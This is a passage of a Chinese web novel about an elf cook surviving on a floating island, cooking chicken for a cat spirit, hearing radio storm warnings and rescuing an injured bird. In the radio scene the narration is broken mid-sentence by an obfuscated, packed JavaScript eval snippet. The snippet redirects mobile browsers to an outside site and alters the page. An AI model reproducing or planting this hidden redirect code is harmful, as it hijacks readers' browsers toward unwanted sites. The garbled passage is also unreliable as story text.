盛棠叹了口气,装模作样地清了清嗓子,提起那只放弃挣扎的走地鸡的两只翅膀,把它拎到了正襟危坐、眼睛一眨不眨盯着鸡的猫儿面前。 盛棠深吸一口气,抿了抿唇,努力让自己的表情看起来既真诚又无助:“那个……山君大人,能不能……再帮个小忙?” 他晃了晃手里提着的鸡,语气带着点恰到好处的为难,“处理这个,我有点……不太熟练,怕弄不好,糟蹋了您的好食材。您……能帮忙让它彻底安静下来吗?要快,不让它多受罪的那种。” 猫儿闻言,琥珀色的眸子嫌弃的瞥了盛棠一眼,微微伏低下身子,喉咙里逸出一声几不可闻的低呜,然后一口咬在了鸡脖子上。 那鸡甚至都没来得及发出声音,僵直的身子就软了下来。 猫儿慢慢松了口,优雅地退后半步,还沾着血的舌头在嘴套子上刮了一圈,然后重新端坐好,抬起下巴,眼神傲娇的看着盛棠。 盛棠被这干脆利落的手法惊了一下,不由自主的瞪大了眼睛。 好,好快! 不愧是山君呢!这狩猎的本能和技巧,家猫再练多少年都掌握不了吧? 接下来的工作,就简单多了。盛棠先将鸡拿到昨天用过的那个浅水洼边。 早上看的时候水洼已经消失了,但这会儿又蓄满了。 【干净的小水洼*1】 【分类:水体资源】 【状态:清澈见底(可直饮)】 【介绍:云朵们收集了夜露与晨雾,悄悄为你汇集的礼物。】 【备注:是云云们感谢你昨天分享香味的回礼哦!可以直接喝啦,不过依照精灵的肠胃,可能还是烧开更安心?】 盛棠眨眨眼,又些感动坏了。 一份土豆泥居然换来了这么多东西,云云真好! 身后,山君的肚子又不争气地“咕噜”巨响了一声,云朵墙壁那边立刻传来一阵细微的骚动。 “又饿了!山君大人又饿了!精灵快想想办法!” 盛棠忍不住吸了吸鼻子,压下笑意,不再耽搁。 他顺手从旁边拿了一片宽大厚实的叶子,卷成漏斗状,从小水洼里舀起清亮的水,然后就着这水,开始处理起这位鸡兄弟。 得益于【庖厨巧手】天赋,拔毛、开膛、清理内脏一系列流程行云流水,饱腹感消耗远比平时小。 不仅如此,在处理那些鸡内脏时,他福至心灵地没有全部丢弃,反而一点点的清理的干干净净。 “似乎……这里面还有别的宝贝?”盛棠吸了吸鼻子,有些不大确定的想。 等把光溜溜、白净净的鸡放在洗净的叶子上时,盛棠习惯性地瞥了一眼手机屏幕:【饱腹值:78/100】 他不由自主地瞪大了圆溜溜的眼睛,下意识地抬手揉了揉,又确认了一遍数字。 好……好夸张的效果! 他这一个下午又是救猫儿又是挖宝,还处理了一整只鸡,饱腹感值竟然只消耗了22点? 这效率提升得也太显著了! “这可真是个宝贝天赋!”盛棠喜滋滋地摩挲着手里的小刀,感觉浑身都充满了干劲,“我简直要爱死这个效果啦!” 盛棠念叨完,又继续了。 他先是把不能食用的部分小心翼翼的埋入了石缝之中,鸡肉和可食用的内脏则都用清水冲洗干净,再用干净的大叶子擦干水分。 “没有锅,还是得用老办法。”盛棠呢喃着,把昨天用的那个石板又搬到了自己的身边。 火堆架子早就在他去搬运石头前就架好了,是用先前分解出来的树枝堆起来的。 不过,这次他学乖了,先点燃了之前得到的木炭,等炭火稳定后,再投入树枝,让树枝全部点燃了。 最后再放上石板加热,这样可以更均匀地控制温度。 趁着石板加热,他将鸡肉剁成大小适中的块。他想了下,又取出那几株有点蔫巴的九层塔,摘了嫩叶,和之前剩下的一点葱白一起切碎。 然后打开那桶花生油,用细树枝小心翼翼地蘸了比上次更少的一滴,滴在已经烧得微微冒烟的石板中心。 “嗤——”的微响过后,醇厚的坚果油脂香气再次弥漫开来。 他没有急着下鸡块,而是将鸡油较厚的部分先放入石板,用两根细树枝做的“长筷”轻轻按压,逼出澄黄的鸡油。 待混合着动物脂肪与植物油脂的特殊浓香飘出,他才迅速将其余鸡块和鸡心、鸡肝一起倒入石板凹坑。 高温与油脂接触,顿时响起一片热烈的“滋滋”声,鸡皮迅速收紧,呈现出诱人的淡金黄色,肉香混合着焦香猛烈爆发了出来。 云朵们瞬间激动起来,暂时忘了对山君的恐惧,□□边缘又探出许多“小脑袋”,拼命“吸气”。 “呜哇!开始了开始了!” “是肉!是肉的香味!和土疙瘩、白杆杆完全不一样!” “好香好香!感觉比昨天的油还要香!” “暖暖的,厚厚的,咕咚……” 猫儿更是早已坐直了身体,脑袋随着盛棠翻动鸡块的“长筷”左右移动,鼻翼快速翕动,尾巴焦躁地拍打着地面。 等到鸡块表面均匀变色后,盛棠才用那个叶子漏斗舀来了水,直接浇在滚烫的石板和鸡块上。 “刺啦——!!!” 大量的乳白色蒸汽从石板上飘了起来,石板上的鸡肉像是被什么刺激到了一样,一种融合了油脂焦香和鸡肉醇香的综合气息,瞬间席卷了整个营地。 “天啊——!!!” “这味道!这味道!云云喜欢!好喜欢!” “云要醉了!香得云都不会飘了!” 猫儿猛地站起身,前爪不由自主地在地上刨了刨,眼睛瞪得溜圆,一瞬不瞬地盯着石板上咕嘟咕嘟开始冒泡的“石锅”,里面的汤汁正在迅速变得醇白。 盛棠自己也忍不住深吸了一口。他小心翼翼的移开一些被点燃的树枝,让汁水保持微微沸腾的状态慢炖。然后捏了一小撮盐,均匀撒了上去。 等到汁水渐渐变得浓白,他将切好的九层塔碎和葱白末撒了进去。 猫儿已经被这香气勾引的彻底坐不住了,它开始绕着石板慢慢踱步,尾巴高高竖起,时不时凑近嗅一下,又赶紧退开,生怕口水滴进去,急得“咪呜咪呜”直叫。 云朵们更是集体陷入了某种幸福的静默,蓬松的云体柔软地舒展着,随着风轻轻抖动。 眼看着差不多了,盛棠用“长筷”夹起一小块鸡肉,吹了吹,小心地递到了猫儿的嘴边上。 “山君大人,这是您的鸡,请慢用。” 9. 正在分析信号源 猫大王的眼睛蹭的一下就放大了。它三两步的冲了上来,抻着脖子轻轻一嗅,然后一脑袋扎进了那只叶子碗里。 带着细小倒刺的粉舌头把肉一整个卷进了嘴里,略嚼巴了两下,便“嗷呜”着一口咽下。 它一双眼睛微微眯着,毛茸茸的耳朵微微朝后压着,身后的那条大尾巴愉快的左右横扫着,打在地上杂乱的小石子上,梆梆作响。 盛棠见状,松了口气。看来自己的厨艺还是很好的,你看,这山君吃的多香啊! 他不在犹豫,赶紧将那一石板的鸡肉都捡了出来,又舀了几勺汤,送到了猫儿的身边。 猫大王的耳朵动了动,将两块肉拱到了叶子碗的边缘上。 猫大王:“嗷——咪咪呜呜——” 盛棠立刻明显了猫大王的意思,乐呵呵的将这块肉夹了出来,伸手摸了摸猫大王的脑袋,“谢谢山君大人。” 猫大王喉咙里立刻发出一声响亮的呼噜,然后心无旁骛地继续埋头苦吃。 盛棠这才给自己也用叶子卷了个小碗,舀了勺热腾腾的鸡汤,小心地吹了吹,坐在温暖的火堆边,小口小口地喝起来。 热汤入腹,一股暖流瞬间从胃里蔓延至四肢百骸,手臂和肩颈出的僵硬和酸胀正在一点点的消融。 鲜美醇厚的滋味在舌尖层层化开,带着鸡肉本身的甘甜和九层塔点缀的清新,让他心情瞬间宁静了下来。 盛棠下意识的看了一眼被他随手放在一旁的手机:【饱腹值:68/100】 【精力值:82(+0.3/h)/100】 精力值的小尾巴上坠了一个小小的红色的BUFF,标注着“神清气爽”。 盛棠点进去一看—— 【状态:神清气爽】 【效果:食用【山君的特供鸡汤】,精力恢复微量提升。每小时额外恢复0.3点精力值。剩余持续时间:2小时58分。】 盛棠看着那“0.3”的数字,忍不住撇了撇嘴,小声嘀咕:“才0.3啊……系统好小气!” 不过蚊子腿也是肉,有总比没有强。 盛棠这么想着,把剩下的汤和一块肉一起打包好了,放在了昨晚放土豆泥的地方。 鸡肉是山君扒拉过来送给他的。那他再分一块给的云朵好邻居们闻闻香,这很合理吧? 只有礼尚往来才能邻里和睦嘛! 盛棠理不直气也壮的想。 至于剩下一块…… 嗯,虽说精灵族裔大多天性亲近自然,饮食偏于清淡,很多同胞甚至奉行严格的素食主义…… 但他可是个热爱烹饪、在人类世界厨房里摸爬滚打过的精灵厨师! 哪有厨师不亲自品尝、评估自己作品味道的道理?这是职业素养! 既然都要尝味道了,那顺带摄入一点点优质蛋白质,不过分吧?这可是为了精进厨艺所做的必要尝试啊! 盛棠成功的说服了自己,他瞄了一眼吃的差不多了的山君,夹起来飞快塞进了自己的嘴里,然后满足的眯起了眼睛,连尖耳朵都跟着无意识的抖了两下。 唔,好好吃啊! 被煎制的鸡肉外面裹着一层硬硬的脆壳,内里的鸡肉却嫩嫩的,汁水十足。 一口下去,外酥里嫩的,还有滚烫的汁水不断溢出,简直完美。 我可真是个烹饪小天才! 盛棠满足的看向“厨房”区域,只剩下一小块暗红色的鸡胗还静静地躺在石板上。 那可是他本能留下来的好东西呀!总觉得直接拿去炖汤太浪费了,这样的好东西,就应该拿别的法子特殊处理。 他想了想,将鸡胗放在尚有微微余温的石板一角,用两根树枝做成的“筷子”小心地压住。 石板的高温让鸡胗表面的水分迅速蒸发,质地变紧实的同时,一股略带腥气的香味瞬间飘了出来。 刚要好奇凑近的云朵们瞬间被这股略带腥燥的独特气味迎面击中,整片□□都剧烈地波动了一下。 最前排的几朵云“噗”地一声,直接散裂开来,化作了许多个拳头大小、四处乱飘的迷你云团子,惊慌失措地飘到岛屿边缘,举着两团格外“圆瞪”的云絮警惕又委屈地“瞪”着盛棠和他手里那个“气味源”。 “呜哇——!什么味道!臭臭的!苦苦的!” “啊啊啊!不是香香!是奇怪的臭!云云感觉要脏掉了!” “精灵!坏精灵!你在做什么可怕的东西!快拿走快拿走!” “是不是那个硬硬的、红红的东西变的?它果然不是什么好东西!” 盛棠被云朵们这夸张的反应逗乐了,又有点不好意思。 但手上却是一刻也没停下按压的动作,直到边缘微微卷曲翘起,才拿起“筷子”试图将它翻上一面。 鸡胗倒侧的瞬间,一层薄薄的、已经变得焦黄酥脆、微微卷曲的薄膜状物质,从鸡胗内壁上脱落下来,掉在石板上,发出轻微的脆响。 【初级鸡内金*1】 【分类:药材/食材】 【状态:干燥酥脆】 【介绍:鸡胗内壁的角质膜,经简单烘烤炮制后所得。具有消食化积、健脾开胃的药用价值,亦可作为特殊风味的食材使用。】 【备注:【庖厨巧手】带来的次级产品。看来你对食材的理解与处理,总能带来点小惊喜。】 “咦?还有这种收获?”盛棠眼睛一亮,满意地将这片小小的、金黄色的鸡内金捡起来,小心地收进一个干净的叶包里。 虽然暂时不知道具体有什么用,但既然是药材,收着总没错,说不定哪天就能派上用场了呢? 至于剩下的部分…… 盛棠看着那被烘得边缘焦脆干硬,内心还维持着一点软韧的鸡胗,咽了口口水。 算起来,这还是他第一次尝试着用烘烤的方式处理完全没腌制过的内脏呢,也不知道是什么滋味儿…… 试一试? 好的厨子要敢于尝试每一种新奇的烹饪成果啊! 盛棠自我劝说着捏起剩下那块处理干净的鸡胗,好奇地切下指尖大小的一块,送入口中。 牙齿咬下去的瞬间,一股属于浓厚的腥气便在口腔弥漫开来。 “唔……好腥。” 他立刻皱起了眉头,毫不犹豫地将嘴里的那片鸡胗连同石板上的一同丢在了地上。 看来,内脏不腌制去腥是真的入不了口啊! 一旁的猫大王已经将属于自己的那份“供品”消灭得干干净净,连叶子碗上残留的油花都舔舐一空。 它餍足地站起身,弓起背脊伸了个大大的懒腰,大摇大摆地穿过云层让出的小径,消失在茂密草甸的深处。 盛棠目送着那橘白相间的身影消失后,扭头看向了猫大王刚才趴卧过的地方。 除了几个浅浅的爪印外,空无一物。 盛棠叹了口气,有点失落了:“居然什么都没留下呀……” 不过,这点小失落很快就消散了。 毕竟能平安招待这样一位特殊的“邻居”,还蹭到了一份堪称完美的蛋白质,这已经是超出预期了。 “知足常乐,知足常乐。”盛棠小声念叨着,揉了揉自己暖洋洋的肚子,脸上露出了满足的笑容。 一个好的精灵,当然要懂得感恩和满足啦! 更何况,他今天还额外收获了一片有用的鸡内金呢。 太阳已经西沉了,蓝汪汪的冷光悄咪咪的爬了上来,将云边染得湛蓝。 风毫无预兆地变了脸,呼啸着擦过盛棠的后颈。盛棠毫无防备地打了个剧烈的寒颤,下意识地抱紧双臂,弓起了背。 “嘶——好冷!”他小声吸气,心里泛起疑惑。 明明昨天和今天都是系统标注的“安全日”,天气应该差不多才对,可为什么感觉今晚的风,比昨天更冷了些? 难不成,这浮空岛的夜晚,一天比一天难熬? 想不明白,盛棠干脆不想了,他一转身,缩着脖子,快步走向那顶在暮色中显得格外温暖可爱的小帐篷,然后弯腰钻了进去。 帐篷内暖和的不行。盛棠前脚刚踏进去,就忍不住打了个响亮的喷嚏,一直紧绷着的身体也舒展了开。 他摸索着想点亮手机照明,手指却意外地碰到了一个冰凉坚硬、轮廓方正的东西,就放在他充当枕头的衣物卷旁边。 “咦?”盛棠被惊得瞪大了眼睛。他连忙抓起手机,按亮屏幕,借着微光看向那个多出来的物件。 那是一个……样式非常老旧的收音机? 外壳是沉闷的深绿色塑料,边角有些磨损,但整体完好。上面还有一根可以伸缩的金属天线,此刻正微微颤动着。 “收音机?这里怎么会有这个?!”盛棠的心跳猛地漏了一拍,第一反应是惊骇,“今天有人进过我的帐篷?是谁?邻居?” 他飞快地检查了帐篷门帘和四周,没有任何被闯入的痕迹,就连自己睡醒后做的小小记号也完好无损。 不是从外面进来的……难道,是像其他物资一样,被空投到这里的? 盛棠轻轻“嘶”了一声,一股没来由的后怕顺着脊椎爬上来。 这东西……不会有什么问题吧?万一打开之后,里面传出什么诡异的声音,或者更糟,引来什么不该注意的东西…… 他赶紧摇摇头,把这荒唐的念头甩开。不会的,要真是这样,那些在幕后空投物资、安排这一切的“原住民”,心思也未免太吓人了! 盛棠深吸一口气,小心翼翼地捧起那个收音机。 入手沉甸甸的,很有分量,手感跟他过去在人类世界见过的那些老式“大砖头”收音机差不多。 顶部是调频旋钮和一根可以拉出的金属天线,侧面是音量调节和电源开关,标识很简单,向左是“OFF”,向右是“ON”。 他的拇指轻轻搭在电源旋钮上,刚想向右拧动,握在另一只手里的手机屏幕忽然亮起,一条新的物品信息毫无征兆地弹了出来。 【老式收音机*1】 【分类:工具】 【状态:有点旧了】 【介绍:简易信号塔的配套设备,建成后将自动投放至您的安全屋范围内。】 【备注:信号……或许能接收到一些特别的东西?祝你好运。】 盛棠松了口气,原来是信号塔自带的附属设备,怪不得会凭空出现在帐篷里呢!刚刚真是,自己吓自己。 “呼……虚惊一场。”他小声嘀咕着,揉了揉还有点发紧的额头。 既然来历清白,那就没什么好犹豫的了。他再次将手指按在旋钮上,屏住呼吸,轻轻向右一拧—— “咔哒。” “嘶啦啦啦——” 一阵稳定而舒缓的白噪音率先流淌出来,然后一个音色甜美的女声正在播报:“欢迎收听FM98.7音乐之声,下面为您送上一首老歌,《甜蜜蜜》,希望在这陌生的天空下,能给您带来一丝熟悉的暖意~” 盛棠愣了一下,嘴角微微抽动:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16968994|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这频道……画风也太正常了吧?” 正常得简直有点格格不入了。 他摇摇头,继续转动旋钮。 信号掠过一阵杂音,下一个清晰起来的声音,播报的信息现实的多了。 “……滋……这里是FM103.5‘浮空集市热线’!为您插播最新交易行情!” “珊瑚礁群岛的‘潮汐商会’今日挂牌收购:纯净淡水,每升报价5枚云贝。稳定储能晶石,每单位报价15云贝。同时出售清单:新鲜海藻沙拉,3云贝/份,初级防水布,8云贝/米。” “巨石平原有大宗商品出让:基础石材,1云贝/单位,燧石火种,2云贝/颗。支持批量议价。” “另据交易所公告,‘星尘徽章’与云贝的兑换比率今日维持在1:100,各据点均支持兑换……” 盛棠的指尖在调频旋钮上微微一顿。 云贝?星尘徽章? 这听起来……像是一套运转中的、属于这个世界的货币体系?有明确的计价单位,有收购与出售,甚至存在“交易所”和稳定的“兑换比率”…… 记下来记下来,以后,他恐怕也得学着用这些原住民的规则来和他们做交易了。 盛棠继续微调,一个信号更稳定、语调也更严肃的男声出现了。 “——欢迎收听FM107.9‘方舟气象与局势’广播。根据多方观测站确认,东部第七区、北部第三区上空维持的‘环境伪装层’正出现不稳定波动,局部区域已开始消散。其下方掩盖的原始地质构造正逐渐显露。” “请位于或即将途径上述区域的单位及个人务必保持高度警惕,密切注意地面及空间变化,及时规避可能因地形剧变而产生的结构性断层,或地质吞没现象。” 盛棠听得心头微微一紧。 结构性断层?地质吞没? 他记得在精灵学院的古老地质学典籍中看到过类似描述,那是指地层在巨大应力下瞬间开裂吞噬万物,随后又因未知力量强行弥合的现象。 那场景,光是想一想就让他觉得不寒而栗了。 这个世界的地质崩坏这么严重吗?居然连这种现象都出现了…… 广播还在继续:“……气象方面,全球范围的安全日周期即将在五日后结束。根据本广播站近日来对云层分析,多数浮空岛将迎来本年度首轮大风天气。” “风力预计可达8~10级,伴有强对流气团,可能对无防护营地、高层建筑及露天火源构成严重威胁。” “建议各位幸存者在安全日内尽快加固庇护所,储备物资,做好防风防火准备。” 大风天?! 盛棠的眼睛瞬间瞪得溜圆,嘴巴不自觉地张成了一个圆圆的“O”形,连尖耳朵都惊得微微竖了起来。 是指……像台风、飓风那样,能把屋顶掀飞、树木连根拔起的恐怖大风天吗?是不是还会伴随着劈头盖脸的暴雨? 这种天气,别说出门搜集物资了,恐怕连把头探出帐篷都需要莫大的勇气吧? 一股强烈的紧迫感瞬间攥住了他的心脏。 时间不多了!他必须要尽快囤积出足够多的食物、水和燃料,才有可能度过这持续多日的恶劣天气! 等等,不止是他自己…… 盛棠的目光下意识地投向帐篷外那堵厚重却柔软的云朵墙壁。 那外面的云朵邻居们要怎么办?它们虽然能聚散变形,但面对那种级别的狂风暴雨,会不会被吹散、打湿,甚至受伤? 需不需要……也给它们弄个能暂时躲避风雨的地方? 哦,对了,还有最关键的——住处! 他现在住的这顶小帐篷可是布料做的。平时挡挡微风夜露还行,真遇上预报里那种8到10级的狂风,恐怕瞬间就会被撕成碎片,连帐篷带人一起卷上天! 盛棠想起近天任务奖励的“温馨小木屋图纸”。 小木屋……听上去比帐篷结实多了。 但图纸归图纸,真造出来的木屋,能扛得住这种极端天气的考验吗? 盛棠这心里可是一点底都没有的。 五天,要做的事太多了。 囤货、安顿邻居、建造并加固一个能抵御风暴的家……时间紧迫得让人头皮发麻。 盛棠忽然不受控制地打了个大大的哈欠,精力值因为方才的一番思考已经跌到了45/100了。 眼皮开始变得沉重,像坠了铅,一下下地打架。脑子也晕乎乎的,像是塞满了湿棉花,思考变得异常艰难。 明明刚刚还在盘算的事情,念头一转就模糊不清,抓不住重点了。 盛棠心里清楚,这是精力值跌到安全线以下后,身体发出的强制休息警告。如果再强撑下去,恐怕又会像之前建造信号塔那会儿一样,直接昏倒,健康值也要跟着掉了。 在这风暴将至的关头,他可丢不起任何一点健康值。 几乎没有任何犹豫,盛棠就接受了身体的需求。 睡觉,必须立刻睡觉!身体是革命的本钱,更是活下去的本钱,他绝不能在这个时候倒下。 盛棠缩进睡袋,强迫自己闭上眼睛。 帐篷外,风声似乎比他进来时要更尖锐了一些,像是有只无形的巨手在反复撕扯着帐篷布。 就在他意识即将沉入黑暗的前一瞬,一声极其轻微、却清晰无比的“咔嚓”声,从岛屿边缘的某个方向传来。 像是岩石因为承受不住风吹的压力,悄咪咪的裂开了一道缝隙。 10. 救助的啾是有原则的啾 盛棠是被风撞击帐篷的砰砰声惊醒的。 帐篷外风的呜咽比昨夜更清晰,拉扯布料发出“扑簌簌”的细响。 外头的云团子似乎也遭不住这样的重压,呜呜咽咽的声音顺着布料被扯出的缝隙传入帐篷。 “呜……好紧!风在扯云云的边边!好疼!” “拉紧!大家拉紧!不要被吹散!” “啊啊啊这次的风格外凶!云云有点撑不住了……” “精灵!精灵醒了没?风好大……” 盛棠的眼神沉了沉,最后一点朦胧的睡意彻底消散。看来他昨晚的推测没错,这预报中的大风天,对这些云朵“邻居”们来说,同样是巨大的威胁。 他缩了缩脖子,摸出枕边的手机。 【星月历7045年3月9日A.M.7:12:03】 【落地计划·新手安全日第三天】 【特殊提示:区域性大风天气预警已确认,预计于五日后(星月历7045年3月14日)凌晨影响本区域。请各位执行者利用最后窗口期,全力做好防灾准备。】 “五天后……”盛棠看着那行加粗的提示,撇了撇嘴,心里最后一丝“也许是误报”的侥幸也烟消云散。 好吧,看来这个世界是打定主意不让他安稳度日了。还没来得及好好探索,第一次真正的生存考验就要来了。 他深吸一口冰凉的空气,强迫自己冷静,先看向状态栏: 【饱腹值:82/100】 【精力值:95.9/100】 【健康值:97/100】 状态还行,都是让人安心的绿色。 健康值和昨天昏迷醒来时一样,看来这宝贵的健康值确实无法通过睡眠自然恢复,必须更加小心。 “不能慌!”盛棠小声给自己打气,拍了拍还有些婴儿肥的脸颊,“我可是差点炸了炼金室又烧糊过厨房的‘天才’学徒!处理意外和危机,我可有的是经验!” 他定了定神,先点开任务界面,将昨日的生存任务提交。 光芒微闪,【建造】列表中立刻多了一个颜色灰暗的房屋图标。 【温馨小木屋(图纸)*1】 【分类:建筑】 【状态:可建造(材料不足)】 【材料需求:木材(0/60),石材(0/50),金属碎片(0/20)】 【功能描述:一座坚固的基础木屋,能提供可靠的遮风挡雨和安全居住空间,大幅提升舒适度与安全感。】 【备注:想要一个家吗?先准备好面对搬砖的残酷现实吧!温馨提示:在风暴来临前,它可能是你唯一的避风港。】 六十木材?五十石材?还有二十金属碎片?! 盛棠的眼睛瞬间瞪得滚圆,一口气堵在胸口,半晌没喘上来。 他知道造房子肯定不便宜,但这需求量也太夸张了吧?!把他现在全部家当翻上几倍,恐怕都凑不齐零头! 这哪里是“温馨小木屋”,这分明是“吞金巨兽”!上哪儿去弄这么多材料?靠每天在资源区捡那几个破箱子,捡到风暴来了也凑不齐啊! 盛棠心里没来由地漫上一丝挫败感,但很快被更实际的念头压了下去。 材料不够,坐等是没用的,必须得想办法“开源”。 他想起在【交易区】闲逛时,时常刷到的那些“代加工”、“定制服务”的帖子。或许……这对他而言是个机会? “代加工……听起来不错。但我能提供什么呢?”他小声嘀咕,手指无意识地卷着衣角,“武器?工具?我都不会。食物……倒是可以。” “能提供额外精力的食物……应该会有人需要吧?”盛棠吸了吸鼻子,脸上露出一丝思索,“对于那些需要熬夜赶工、或者精力消耗大的邻居、原住民、玩家来说,或许能派上用场?” 不过,想法虽好,现实却骨感的厉害。他手头现有的食材储备太少了,连自己接下来几天的口粮都勉强,更别说拿出去交易了。 “看来,今天的资源区探索,必须得更拼命才行了。”他握了握拳,给自己打气,“多挖点土豆,再看看有没有其他能吃的、能用的,得为‘开店’攒点本钱!” 关掉建造界面,准备行动前,他习惯性地瞥了一眼刚刚刷新出来的主线任务。 【活着是为了更好的生存!】 【任务目标:请安全地活过第3~7天。】 【任务解说:风声,是否已经带来了远方的不安?你已经知晓考验即将来临。别慌张,你还有宝贵的五天时间,去收集、去建造、去准备,然后勇敢地迎接这第一场真正的生存挑战吧!】 【任务奖励:???(视准备完成度及生存表现而定)】 【备注:当前处于七日新手安全期之第三日。天气已开始显露其躁动的前兆,但环境压力依然维持在最低水平。物资空投频率与质量保持高位,且暂无主动攻击性事件触发。请珍惜最后的和平时光。】 他收起手机,深吸一口气。 失落是没用,抱怨更是没用的。 他可是在魔法实验和厨房事故中“身经百战”的精灵学徒! 面对危机,唯一要做的就是行动起来。 盛棠捏了捏拳头,穿好冲锋衣,信心十足的掀开帐篷门帘。 外头天色已经不是前两天见到的蜜糖色了,而是一种沉郁的灰蓝。 远处的云海也不再蓬松如棉,而是像一锅熬得恰到好处的白色糖稀,在空中缓慢地翻涌着。 风毫无阻碍地穿过流石滩,卷起细小的砂石,打在他的裤脚上,沙沙作响。 好在围聚在一起的云朵们似乎对逐渐增强的风力有了一定的适应。 它们密密匝匝地挤靠在一起,互相支撑着,朝盛棠的方向无精打采地抖动了一下身上蓬松的云绒。 “变天啦,真的要变天啦……”一朵云絮有气无力地叹息,声音被风吹得有些飘忽。 “风爷爷今天脾气好大,云云被吹得晕乎乎的,感觉快散架啦。” “精灵精灵,你听见你那个小方块说的了吗?大风!好可怕好大的风!会不会把我们都吹跑?” 盛棠笑了笑,顶着风走了过去,伸手勾起一缕云绒揉了揉:“听到啦!两只耳朵都听到啦!” “不过别担心,棠会努力建造个大房子,守护好我们这个家哒!” 原本有些萎靡瑟缩的云朵墙壁听到了这话,肉眼可见地“亮”了一些。 挤在一起的云絮们抖落了一下,边缘泛起柔和雀跃的微光。 “真的吗?精灵要建大房子!” “能挡住风的大房子!好厉害!” “云云相信精灵!精灵做的香香那么好吃,建的房子一定也超级——结实!” “那……那云云可以帮忙吗?虽然云云怕大风,但是云云可以帮忙看着材料,或者……或者给精灵鼓劲!” “对对对!云云给你加油!加油加油!” 盛棠笑弯了眼睛,心里暖呼呼的。看吧,他就知道,他这些单纯的云朵邻居们,永远是最信任、最支持他的! 他转身走到昨天那个小水洼边,就着清冽的云朵馈赠简单洗漱,冰凉的水让他精神一振。 正准备生火做点简单的早餐,一阵极其微弱的“啾……啾啾……”声,飘进了他敏锐的耳朵。 不是云朵们熟悉的嘀咕,也不是远处草甸被风吹动的窣窣声。这声音更细弱,更实在,带着一种压抑的颤抖,而且……就在附近。 盛棠立刻抬头,尖耳朵转向声音来源。 他放轻脚步,屏住呼吸,慢慢靠近,然后蹲下身,小心翼翼地向那道狭窄、阴暗的石缝里望去。 一双圆溜溜、黑豆似的小眼睛,正嵌在阴影里,惊恐万分地回望着他。 眼睛的主人是一只胖得几乎滚圆的小鸟,不过巴掌大,蓬松的羽毛是漂亮的银灰色,尾巴虽短却翘得秀气。 它左边的翅膀以不自然的角度别在身后,几根羽毛凌乱地支棱着,上面沾满了灰扑扑的岩粉。羽毛根部隐约有一小片已经发暗的、干涸的红色痕迹。 小鸟似乎想扑腾,但身体被嶙峋的石缝卡得死死的,只有胸脯在剧烈起伏。 每动一下,那受伤的翅膀就让它发出更痛苦的微弱“啾”声。 “呀!是那只笨肥啾!” 云朵墙壁里立刻传来七嘴八舌的“解说”。 “昨天就想告诉它那里不能钻!石头缝里有讨厌的湿气,会打滑!” “它不听!非要进去找亮晶晶的小石子!说是要铺窝!” “看吧看吧!卡住了吧!受伤了吧!啾生艰难哦!” 是小肥啾呀! 盛棠的眼睛亮了一下。 他在地球的时候就可喜欢这些圆滚滚、毛茸茸的小家伙了!可惜那个时候它们还身处保护名录,是碰一下就能牢底坐穿的小家伙。 真没想到,居然能在这里遇见一只! 盛棠可顾不上这份“他乡遇故啾”的感慨,也来不及回应云朵们的答疑解惑。 他立刻三步并作两步凑到石缝边,慢慢伸出手,努力夹起嗓子,让自己的声音听起来尽可能的温和、柔软,不带丝毫威胁:“别怕,别怕……小家伙,你看,我没有恶意,我是来帮你的。” 肥啾圆滚滚的身子瑟缩了一下,但没有逃。 它昂着圆滚滚的小脑袋,瞪着双黑豆眼和盛棠对视了良久,才微弱地“啾”了一声,小脑袋一歪,贴在了盛棠伸出来的手指上。 盛棠的心一下子就融化了,他赶紧扒拉开那里的石块,一点点的将小肥啾挪了出来,捧在手心里。 肥啾瘫在他掌心,两只小爪子翘着,胸脯剧烈起伏,黑豆眼湿漉漉的,满是劫后余生的茫然。 盛棠看向小肥啾受伤的左翅。 肥啾翅膀的伤势不算特别严重,没有开放性伤口,主要是擦伤和扭错,可能还有轻微的骨裂。但如果不处理,在这种环境下,感染或残疾是必然的。 他想起背包里还有个【破烂的野餐布】,迅速取出来,撕下细细的一条。又到水洼边,用叶子卷舀来清水,小心地冲洗肥啾翅膀上的污迹。 清洗完毕,他才用棉布条,模仿着电视里护林员们处理鸟类骨折的固定方式,将肥啾受伤的翅膀轻柔地贴合身体束好,打了个小巧牢固的结。 接着,他又把昨天收集的云绒拿出来,用棒针织了柔软的临时小窝,将肥啾放了进去。 做完这一切,他的饱腹值已经掉到了87/100了。 哎,处理这种精细工作,消耗果然不小。 盛棠按了按有点蠢蠢欲动着想唱空城计的肚子,看向那只小肥啾。 肥啾正软乎乎的窝在云绒里,小脑袋往完好的那只翅膀上一埋,撅着圆鼓鼓的尾羽对着他。 好一会儿,它才悄悄地把翅膀抬起一点,露出一只黑豆眼看向盛棠:“啾!” 盛棠不解其意,但还是点点头道:“放心吧,这里很安全,没有人会伤害啾的。” 云朵们也晃了晃身上的云絮,跟着附和:““对呀对呀!啾啾不怕,精灵是顶好顶好的精灵!” “精灵还会做——可——香——可——香的好吃的!不过……啾啾现在这样,好像吃不了哦……” “精灵可厉害啦,昨天连山君都给他喂得服服帖帖、呼噜呼噜呢!” “你乖乖的,让精灵帮你看看,很快就不疼啦!” 盛棠眨眨眼,没吭声,心思却飞远了。 肥啾受伤了,肯定又疼又怕,现在这样子,寻常的谷粒果实怕是难以下咽。 但受伤更需要营养补充,尤其是骨头伤了…… “那要补钙啊……”盛棠喃喃自语。 补钙,最简单的就是骨头汤。他昨天炖鸡的骨头还留着,虽然精华已入汤,但再熬煮一次,应该还能逼出些营养。 可那是禽类的骨头。肥啾也是鸟。用同类的骨头熬汤给它……这合适吗? 肥啾懵懵懂懂的看了看云朵们,终于把整颗脑袋从翅膀下拔了出来。 一双黑豆眼一眨不眨地看着盛棠,忽然细声细气地:“啾……啾啾!” 接着,它努力扬起没受伤的小脑袋,朝着云朵墙壁的方向,发出一串清脆却急促的鸣叫。 “啾啾!啾啾啾!啾啾!” 云朵们诧异的抖了抖身子,一团毛茸茸的云团子从云朵墙壁里分了出来,飘到肥啾的身边围着它打转。 